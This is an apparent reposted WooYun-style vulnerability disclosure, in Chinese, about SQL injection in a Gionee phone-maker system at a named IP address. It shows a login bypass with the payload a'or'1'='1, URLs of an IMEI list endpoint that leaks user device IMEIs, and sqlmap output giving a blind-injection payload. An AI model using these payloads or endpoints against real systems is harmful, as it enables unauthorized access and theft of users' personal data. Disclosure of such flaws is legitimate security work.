金立某系统存在SQL注入漏洞，泄露大量用户信息企业安全分享!

金立某系统存在SQL注入漏洞，泄露大量用户信息

HQL

https://218.16.100.212:8080/gionee/

用户名admin'
 

HQL

开始构造

返回结果太多了

找一个唯一的

用户名a'or'1'='1

密码1234

登录成功
 

根据 WooYun: 金立某系统漏洞打包可泄漏369万用户IMEI串号（未授权访问/SQL注入）

访问https://218.16.100.212:8080/gionee/weibo/imeiManager!list?p=88&ps=10&time_num=&imei=&startTime=&endTime=

 https://218.16.100.212:8080/gionee/weibo/imeiManager!list?endTime=&imei=868617028503292&startTime=&time_num=0

sql注入也是存在的

 GET parameter 'imei' is vulnerable. Do you want to keep testing the others (if a ny)? [y/N] n sqlmap identified the following injection points with a total of 61 HTTP(s) requ ests: --- Place: GET Parameter: imei     Type: boolean-based blind     Title: AND boolean-based blind - WHERE or HAVING clause     Payload: endTime=&imei=868617028503292%' AND 4568=4568 AND '%'='&startTime=& time_num=0 ---

—-想了解更多的企业安全相关处理怎么解决关注<计算机技术网(www.ctvol.com)!!>